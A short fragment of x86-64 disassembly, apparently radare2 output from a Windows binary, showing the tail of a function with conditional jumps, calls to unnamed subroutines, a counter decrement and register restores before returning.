je 0x140084be8
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.14027e830
mov rcx, rbx
cmp rax, rdi
je 0x140084bd6
call fcn.1402754c0
mov rax, qword [0x140387618]
test rax, rax
je 0x140084bcc
dec dword [rax + 0x3b0]
mov rcx, rsi
call fcn.14027cdf0
jmp 0x140084bf0
call fcn.1402754c0
test r14, r14
je 0x140084be3
mov qword [r14], rdi
mov rax, rsi
jmp 0x140084bf2
mov rcx, rbx
call fcn.1402754c0
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret